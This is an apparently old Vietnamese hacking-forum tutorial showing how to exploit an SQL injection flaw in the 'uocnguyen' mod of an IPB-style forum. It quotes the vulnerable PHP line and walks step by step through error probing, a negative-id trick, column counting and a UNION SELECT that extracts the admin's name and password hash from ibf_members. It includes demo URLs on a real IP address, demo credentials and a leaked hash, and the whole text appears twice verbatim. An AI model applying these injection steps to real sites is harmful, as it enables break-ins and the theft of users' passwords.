Nghiên cứu về cách thức khai thác lỗi SQL inject trong Forum:
Việc hack forum dính SQl inject là cũng cơ bản khá giống việc hack SQL inject trong các SHOP,WEB mà chúng ta đã hack thôi! kiến thức để tìm hiểu thì bạn chỉ cần biết một ít câu lệnh SQL và thông thạo việc sử dụng ,cài đặt, quản lý Forum là ok!
Hò! Bắt đầu nào:
Việc tìm ra một Site dính SQL thì chúng ta có thể sử dụng BUG được puplic trên các diendan về hacking ! còn khi mà người ta đã cho mình Code Exploitx rồi thì chẳng còn gì để nói! nhưng nếu người ta không public thì chỉ còn cách tự tìm lấy thôi! Tôi sẽ trình bày cho bạn thật dễ hiểu và sẽ dùng DEMO để cho các bạn thực hành luôn!
1. chúng ta sẽ thực hành với lỗi Mod UOCNGUYEN :
Trong Code Uocnguyen của nó! thì có đoạn:
Trích:
function showwish(){
global $DB, $ibforums, $std;
$wish = $ibforums->input['id'];
$DB->query( "SELECT * FROM ibf_wish_main WHERE ID LIKE {$wish} LIMIT 1");
đoạn code bị lỗi là: Trích:
$wish = $ibforums->input['id'];
vì giá trị id được input vào không được kiểm tra là dạng number hay char ... nên nó bị dính lỗi SQl inject.
link bị lỗi của nó:
http://72.36.192.69/~phucducc/demo/uocnguy...wwish&id=1'
bạn nhập user/pass: demo / demo vào để xem !
xuất hiện thông báo lỗi:
Trích:
mySQL query error: SELECT * FROM ibf_wish_main WHERE ID LIKE 1' LIMIT 1
mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mySQL error code:
Date: Wednesday 22nd of March 2006 02:51:09 AM
hò! Chúng ta chú ý đến cái đoạn này trong thông báo lỗi : Trích:
SELECT * FROM ibf_wish_main WHERE ID LIKE 1' LIMIT 1
đây là câu lệnh truy vấn mà sử dụng để lấy các thông tin về phần uocnguyen . do ID không được kiểm soát nên khi thêm dấu phẩy vào thì nó báo lỗi! bây giờ chúng ta sẽ đi nghiên cứu cách để lấy các dữ liệu về mật khẩu của admin :
Nếu bạn đọc được SQL thì sẽ hiểu là dấu * trên là chỉ nó lựa chọn truy vấn mọi colum có trong table ibf_wish_main ! vậy bây giờ ta sẽ lợi dụng lỗi SQL injec để truy vấn
các thông tin cần thiết trong table ibf_members (là nới chứa các thông tin về MEM)
để bắt đầu hack thì chúng ta phải vô hiệu hóa câu truy vấn của nó! nghĩa là làm cho câu lệnh truy vấn trên của nó không trả về giá trị gì cả! và đó là lý do mà khi các bạn đọc các code exploixt của người khác thì các bạn thấy có mấy dấu là lạ sau link lỗi của nó! chúng ta có các ký tự thường hay dùng để vô hiệu hóa câu lệnh truy vấn của Victim : /* hoặc ) hoặc )/ hoặc ); ......... hoặc là đưa giá trị input của nó thành giá trị âm! nghĩa là nó đang là 1 thì mình cho về -1 ! có khi là vừa thêm giá trị âm vừa thêm các ký tự metal /* ... phía sau nũă! các bạn nghiên cứu thêm nhé! bây giờ! thì tôi dùng cách đưa giá trị input của nó thành âm để vô hiệu hóa câu lệnh truy vấn của nó: như sau:
http://72.36.192.69/~phucducc/demo/uocnguy...=showwish&id=-1
bạn thấy đấy! phần "uớc nguyện là " đã không còn giá trị gì! vì câu lệnh truy vấn của nó đã bị vô hiệu hóa! nên nó chẳng trả về giá trị gì nữa! và bây giờ chúng ta có thể thêm vào sau nó một câu lệnh truy vấn của chúng ta và nó sẽ Run ngay!
hò! đến đây thì chúng ta bắt đầu sử dụng câu lệnh UNION ! nó có nhiệm vụ kết hợp 2 câu lệnh SELECT với nhau (tất nhiên là 2 câu lệnh SELECT phải có cùng các table và colum! ) tôi khuyên bạn chưa biết thì nên tìm đọc phần câu lệnh UNION đi! OK!
bước quan trọng là đây:
các bạn nhìn vào hình bên dưới:
thì các bạn sẽ thấy là trogn table ibf_wish_main có 8 column! và vấn đề là cái MOD uocnguyen được xây dụng để chỉ có 8 column trogn table của nó! nên câu lệnh truy vấn của nó khi dùng ký tự * là để thể hiện sự truy vấn 8 column đó! và như thế thì câu lệnh SELECT thứ 2 của chúng ta cũng sẽ phải là chỉ có 8 column! và có 2 cách để thực hiện câu truy vấn của bạn: bạn có thể làm như sau:
a. Select lần lượt các column của nó từ giá trị 1 đến khi nào mà nó báo hết rồi! (không trả thêm giá trị nào nữa!) nghĩa là bạn thay * bằng giá trị 1,2,3,4,..... bạn hiểu rồi chứ! vậy thì ta sẽ có câu lệnh truy vấn của Mođ uocnguyen là:
http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
và tiếp theo http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
...............
cho đến :
http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
thì ta được là:
Trích:
Ước nguyện của 2
2 đến từ 3
2 ước nguyện vào ngày 2000-00-04
Ước nguyện là :
8
vậy thì chúng ta có là phần hiện thị của nó là phần số 2 và số 8! đó chính là các giá trị của column trong table ibf_wish_main.
bây giờ thì bạn chỉ cần thay cái gía trị của table ibf_wish_main thành table ibf_members và ở column số 2 thì bạn thay vào đó column tên của admin là name
và column thứ 8 password !!!! (các column của ibf_members thì bạn vào trong phpmyadmin rồi nghiên cứu! ở đây mình chỉ hướng dẫn cho các bạn đã biết vè nó rồi! OK!)
và bây giờ câu lệnh của nó là :
http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT 1,name,3,4,5,6,7,password FROM ibf_members WHERE ID LIKE 1
bạn đã thấy gì chưa?
Ước nguyện của admin
admin đến từ 3
admin ước nguyện vào ngày 2000-00-04
Ước nguyện là :
8005125c396680661893d36fc0723158
b. cách thứ 2 là bạn đã kinh nghiệm và như thế thì bạn chỉ cần vào tìm hiểu xem table của cái phần bị lỗi đó có bao nhiêu column! và bạn thay dấu * bằng từng đó giá trị! ở đây là 8 column và sẽ là 1,2,3,4,5,6,7,8 và sau đó! lại Run trên Browse để xem column nào hiển thị ra! thì thay các giá trị tương ứng vào! OK!
Việc hack forum dính SQl inject là cũng cơ bản khá giống việc hack SQL inject trong các SHOP,WEB mà chúng ta đã hack thôi! kiến thức để tìm hiểu thì bạn chỉ cần biết một ít câu lệnh SQL và thông thạo việc sử dụng ,cài đặt, quản lý Forum là ok!
Hò! Bắt đầu nào:
Việc tìm ra một Site dính SQL thì chúng ta có thể sử dụng BUG được puplic trên các diendan về hacking ! còn khi mà người ta đã cho mình Code Exploitx rồi thì chẳng còn gì để nói! nhưng nếu người ta không public thì chỉ còn cách tự tìm lấy thôi! Tôi sẽ trình bày cho bạn thật dễ hiểu và sẽ dùng DEMO để cho các bạn thực hành luôn!
1. chúng ta sẽ thực hành với lỗi Mod UOCNGUYEN :
Trong Code Uocnguyen của nó! thì có đoạn:
Trích:
function showwish(){
global $DB, $ibforums, $std;
$wish = $ibforums->input['id'];
$DB->query( "SELECT * FROM ibf_wish_main WHERE ID LIKE {$wish} LIMIT 1");
đoạn code bị lỗi là: Trích:
$wish = $ibforums->input['id'];
vì giá trị id được input vào không được kiểm tra là dạng number hay char ... nên nó bị dính lỗi SQl inject.
link bị lỗi của nó:
http://72.36.192.69/~phucducc/demo/uocnguy...wwish&id=1'
bạn nhập user/pass: demo / demo vào để xem !
xuất hiện thông báo lỗi:
Trích:
mySQL query error: SELECT * FROM ibf_wish_main WHERE ID LIKE 1' LIMIT 1
mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mySQL error code:
Date: Wednesday 22nd of March 2006 02:51:09 AM
hò! Chúng ta chú ý đến cái đoạn này trong thông báo lỗi : Trích:
SELECT * FROM ibf_wish_main WHERE ID LIKE 1' LIMIT 1
đây là câu lệnh truy vấn mà sử dụng để lấy các thông tin về phần uocnguyen . do ID không được kiểm soát nên khi thêm dấu phẩy vào thì nó báo lỗi! bây giờ chúng ta sẽ đi nghiên cứu cách để lấy các dữ liệu về mật khẩu của admin :
Nếu bạn đọc được SQL thì sẽ hiểu là dấu * trên là chỉ nó lựa chọn truy vấn mọi colum có trong table ibf_wish_main ! vậy bây giờ ta sẽ lợi dụng lỗi SQL injec để truy vấn
các thông tin cần thiết trong table ibf_members (là nới chứa các thông tin về MEM)
để bắt đầu hack thì chúng ta phải vô hiệu hóa câu truy vấn của nó! nghĩa là làm cho câu lệnh truy vấn trên của nó không trả về giá trị gì cả! và đó là lý do mà khi các bạn đọc các code exploixt của người khác thì các bạn thấy có mấy dấu là lạ sau link lỗi của nó! chúng ta có các ký tự thường hay dùng để vô hiệu hóa câu lệnh truy vấn của Victim : /* hoặc ) hoặc )/ hoặc ); ......... hoặc là đưa giá trị input của nó thành giá trị âm! nghĩa là nó đang là 1 thì mình cho về -1 ! có khi là vừa thêm giá trị âm vừa thêm các ký tự metal /* ... phía sau nũă! các bạn nghiên cứu thêm nhé! bây giờ! thì tôi dùng cách đưa giá trị input của nó thành âm để vô hiệu hóa câu lệnh truy vấn của nó: như sau:
http://72.36.192.69/~phucducc/demo/uocnguy...=showwish&id=-1
bạn thấy đấy! phần "uớc nguyện là " đã không còn giá trị gì! vì câu lệnh truy vấn của nó đã bị vô hiệu hóa! nên nó chẳng trả về giá trị gì nữa! và bây giờ chúng ta có thể thêm vào sau nó một câu lệnh truy vấn của chúng ta và nó sẽ Run ngay!
hò! đến đây thì chúng ta bắt đầu sử dụng câu lệnh UNION ! nó có nhiệm vụ kết hợp 2 câu lệnh SELECT với nhau (tất nhiên là 2 câu lệnh SELECT phải có cùng các table và colum! ) tôi khuyên bạn chưa biết thì nên tìm đọc phần câu lệnh UNION đi! OK!
bước quan trọng là đây:
các bạn nhìn vào hình bên dưới:
thì các bạn sẽ thấy là trogn table ibf_wish_main có 8 column! và vấn đề là cái MOD uocnguyen được xây dụng để chỉ có 8 column trogn table của nó! nên câu lệnh truy vấn của nó khi dùng ký tự * là để thể hiện sự truy vấn 8 column đó! và như thế thì câu lệnh SELECT thứ 2 của chúng ta cũng sẽ phải là chỉ có 8 column! và có 2 cách để thực hiện câu truy vấn của bạn: bạn có thể làm như sau:
a. Select lần lượt các column của nó từ giá trị 1 đến khi nào mà nó báo hết rồi! (không trả thêm giá trị nào nữa!) nghĩa là bạn thay * bằng giá trị 1,2,3,4,..... bạn hiểu rồi chứ! vậy thì ta sẽ có câu lệnh truy vấn của Mođ uocnguyen là:
http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
và tiếp theo http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
...............
cho đến :
http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT
thì ta được là:
Trích:
Ước nguyện của 2
2 đến từ 3
2 ước nguyện vào ngày 2000-00-04
Ước nguyện là :
8
vậy thì chúng ta có là phần hiện thị của nó là phần số 2 và số 8! đó chính là các giá trị của column trong table ibf_wish_main.
bây giờ thì bạn chỉ cần thay cái gía trị của table ibf_wish_main thành table ibf_members và ở column số 2 thì bạn thay vào đó column tên của admin là name
và column thứ 8 password !!!! (các column của ibf_members thì bạn vào trong phpmyadmin rồi nghiên cứu! ở đây mình chỉ hướng dẫn cho các bạn đã biết vè nó rồi! OK!)
và bây giờ câu lệnh của nó là :
http://72.36.192.69/~phucducc/demo/uocnguy...0union%20SELECT 1,name,3,4,5,6,7,password FROM ibf_members WHERE ID LIKE 1
bạn đã thấy gì chưa?
Ước nguyện của admin
admin đến từ 3
admin ước nguyện vào ngày 2000-00-04
Ước nguyện là :
8005125c396680661893d36fc0723158
b. cách thứ 2 là bạn đã kinh nghiệm và như thế thì bạn chỉ cần vào tìm hiểu xem table của cái phần bị lỗi đó có bao nhiêu column! và bạn thay dấu * bằng từng đó giá trị! ở đây là 8 column và sẽ là 1,2,3,4,5,6,7,8 và sau đó! lại Run trên Browse để xem column nào hiển thị ra! thì thay các giá trị tương ứng vào! OK!